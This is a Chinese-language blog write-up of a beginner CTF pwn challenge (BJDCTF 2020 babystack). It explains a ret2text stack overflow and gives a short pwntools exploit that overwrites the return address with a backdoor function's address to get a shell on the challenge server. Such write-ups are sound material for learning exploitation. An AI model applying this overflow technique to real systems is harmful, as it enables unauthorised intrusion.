【PWN · ret2text】[BJDCTF 2020]babystack

新手上路~低速慢行~

目录

前言

1. checksec

2. IDA 反汇编

3. payload编写

4. exp编写

5. pwntools用法


前言

作为pwn新手,尽可能在刷题中,记录、学习一些通用的知识点,因此wp是少不了的。

本题是一道简单的ret2text


1. checksec

没有开启栈保护


2. IDA 反汇编

发现危险函数read

 

发现后门函数backdoor


3. payload编写

通过buf距离栈基址偏移10h

 且后门函数地址为0x4006E6   可以构造:

payload: 填充buf(10h)+填充ebp(64位→8字节)+修改return地址(0x4006E6)

payload=b’a’*(0x10+0x8)+p64(0x4006E6)


4. exp编写

基本的代码框架

from pwn import *
r=remote("node2.anna.nssctf.cn",28076)

r.recvuntil("name:\\n")
r.sendline("-1") 
r.recvuntil("name?")

backdoor=0x4006e6
payload=b'a'*(0x10+0x8)+p64(backdoor)
r.sendline(payload)
r.interactive()

如此即可获得shell,cat flag即可获得flag


5. pwntools用法

这里

作为最好用的pwn工具,简单记一下用法:

  • 连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
  • 数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
  • IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值